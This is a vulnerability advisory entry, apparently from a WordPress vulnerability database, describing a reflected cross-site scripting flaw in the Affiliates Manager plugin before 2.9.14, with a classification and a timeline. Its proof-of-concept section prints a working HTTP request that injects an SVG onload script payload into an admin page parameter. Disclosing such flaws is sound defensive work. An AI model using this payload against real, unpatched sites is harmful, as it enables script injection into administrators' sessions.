WordPress Plugin Vulnerabilities

Affiliates Manager < 2.9.14 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape parameters before outputting them back in pages, which could lead to Reflected Cross-Site Scripting

Proof of Concept

GET /wp-admin/admin.php?page=wpam-settings&b="><svg/onload=alert(/XSS/)> HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

Affects Plugins

Plugin icon
affiliates-manager
Fixed in 2.9.14

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
4.7 (medium)

Miscellaneous

Original Researcher
WPScan
Verified
Yes
WPVDB ID
2e2faa0d-a751-404a-ae15-e0fafc824bc0

Timeline

Publicly Published
2022-08-16 (about 1 years ago)
Added
2022-08-16 (about 1 years ago)
Last Updated
2022-08-16 (about 1 years ago)

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